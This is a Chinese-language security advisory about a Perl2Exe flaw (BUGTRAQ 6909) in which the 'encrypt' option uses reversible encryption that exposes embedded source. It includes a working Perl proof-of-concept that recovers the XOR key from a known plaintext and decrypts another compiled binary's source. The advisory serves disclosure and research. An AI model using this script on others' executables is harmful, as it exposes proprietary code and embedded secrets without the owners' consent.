首页 -> 安全研究

安全研究

安全漏洞
Perl2Exe转换处理不正确漏洞

发布日期:2003-02-21
更新日期:2003-02-27

受影响系统:
IndigoSTAR Software Perl2Exe 6.0
IndigoSTAR Software Perl2Exe 5.02
IndigoSTAR Software Perl2Exe 1.09
描述:
BUGTRAQ  ID: 6909

Perl2Exe是一款把Perl程序"编译"成EXE的程序。

Perl2Exe存在设计问题,本地攻击者可以利用这个漏洞获得源代码中的敏感信息。

Perl2Exe在转换Perl为可执行格式程序时,如果选择"encrypt"选项会采用可逆算法,本地用户可以通过简单编程获得源代码中包含的敏感信息。

<*来源:Domainbox, Tim Abenath (ta@domainbox.de
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104586228822675&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Domainbox, Tim Abenath (ta@domainbox.de)提供了如下测试方法:

#!/usr/bin/perl

$known_plain = `cat sample.pl`;
$known_cipher_file = "sample";
$sizeline = `tail -c +811048 $known_cipher_file | strings | grep
NAME=_main.pl`;
@line = split /;/, $sizeline;
@size = split /\=/, $line[1];
$known_cipher = `tail -c +811048 $known_cipher_file | head -c $size[1]`;
$key = $known_cipher ^ $known_plain;

$unknown_cipher = `tail -c +811048 perl2exe | head -c $size[1]`;

$unknown_plain = $unknown_cipher ^ $key;
print $unknown_plain, "\n";

建议:
厂商补丁:

IndigoSTAR Software
-------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.indigostar.com/

浏览次数:3185
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障